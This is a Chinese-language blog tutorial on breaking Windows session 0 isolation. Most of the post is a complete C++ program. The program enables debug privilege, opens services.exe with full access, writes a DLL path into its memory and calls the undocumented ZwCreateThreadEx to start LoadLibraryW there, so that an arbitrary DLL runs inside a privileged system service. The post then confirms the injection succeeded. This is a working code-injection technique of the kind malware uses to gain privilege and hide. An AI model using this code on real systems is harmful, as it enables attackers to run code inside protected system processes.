注入技术-突破session 0隔离的远线程注入

本文最后更新于:2021-08-09 晚上

SESSION 0隔离

在早期操作系统中,所有的服务和应用程序都是运行在同一个session中,session 0。这些一起运行的服务与应用程序,由于服务是以最高权限进行运行的,所以造成一些安全风险,恶意代码可以利用这点来提升自己的权限。

在Visita中,服务在一个叫做session0的特殊session中承载。应用程序在其他session中,这样服务与应用程序就隔离开来。这样的话,恶意代码要向注入到关键的系统服务进程中,就会因为session 0的隔离而失败。

但是直接调用zwCreateThreadEx函数可以进行远线程注入,还可以突破隔离。

实现原理

实现突破SESSION 0隔离的注入技术是使用比CreateRemoteThread函数更为底层的ZwCreateThreadEx函数来创建的远线程的。因为此函数在ntdll.dll中没有声明,所以需要使用GetProcAddress从ntdll.dll中获取该函数的导出地址。

ZwCreateThreadEx函数比CreateRemoteThread函数更为底层,那么CreateRemoteThread函数最终还是通过调用ZwCreateThreadEx函数来实现远线程创建的。为什么使用CreateRemoteThread函数没有用。经过前人的跟踪与分析,发现调用ZwCreateThreadEx函数创建远线程的时候,第七个参数的值为1,这会导致创建的线程完成后一直挂起无法恢复运行,这就是为什么DLL注入失败的原因。要想成功的话,就要直接调用ZwCreateThreadEx函数,将第七个参数设置为0,这样线程创建完成之后就会恢复运行,成功注入。

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#include "pch.h"
#include <Windows.h>
#include <processthreadsapi.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <atlconv.h>
#include <atlstr.h>
BOOL CreateRemoteThreadInject(DWORD dwProcessId, WCHAR* pszDllFileName) {
//提升权限
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) == false) {
printf("打开近访问令牌失败\n");
return FALSE;
}
LUID luid;
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid) == false) {
printf("查看特权信息失败\n");
return FALSE;
}
TOKEN_PRIVILEGES tkp;
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tkp.Privileges[0].Luid = luid;
if (false == AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {
printf("调节权限失败\n");
return FALSE;
}
HANDLE hProcess = NULL;
DWORD dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
//获取注入进程句柄
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (hProcess == NULL) {
printf("打开进程失败\n");
return FALSE;
}
dwSize = lstrlen(pszDllFileName) + 1;
//printf("dwSize:%d\n", dwSize);
//申请内存
pDllAddr = VirtualAllocEx(hProcess, NULL, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (pDllAddr == NULL) {
printf("申请内存失败\n");
return FALSE;
}
//向申请的内存写入数据
BOOL WriteFlag = WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize * 2, NULL);
if (WriteFlag == NULL) {
printf("写入内存失败\n");
return FALSE;
}
HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
if (hNtdll == NULL) {
printf("获取NTDLL地址失败\n");
return FALSE;
}
//获取loadlibrary
pFuncProcAddr = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
if (pFuncProcAddr == NULL) {
printf("获取loadlibrary地址失败\n");
return FALSE;
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtdll, "ZwCreateThreadEx");
if (ZwCreateThreadEx == NULL) {
printf("获取ZW地址失败\n");
return FALSE;
}
HANDLE hRemoteThread = NULL;
ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
if (hRemoteThread == NULL) {
printf("创建失败\n");
return FALSE;
}
CloseHandle(hProcess);
FreeLibrary(hNtdll);
return TRUE;
}
DWORD GetPID(char* pszProcessName) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(pe) };//初始化
USES_CONVERSION;
CString ProcessName = A2T(pszProcessName);
BOOL flag = Process32First(hSnap, &pe);
while (flag) {
if (lstrcmp(pe.szExeFile, ProcessName) == 0) {
return pe.th32ProcessID;
}
flag = Process32Next(hSnap, &pe);
}
CloseHandle(hSnap);
return 0;
}
int main() {
printf("按下回车开始注入\n");
getchar();
DWORD dwPID = GetPID("services.exe");
bool flag = CreateRemoteThreadInject(dwPID, L"C:\\Users\\b1ackie\\Desktop\\RemoteTest.dll");
if (flag == FALSE) {
printf("注入失败\n");
}
else
printf("注入成功\n");
getchar();
return 0;
}

效果查看

尝试注入SESSION 0的service.exe,使用Process Explorer可以看到services.exe的相关信息

打开程序,按下回车开始注入,显示注入成功

使用Process Explorer查看services.exe的导入模块

参考

参考《Windows黑客编程技术详解》一书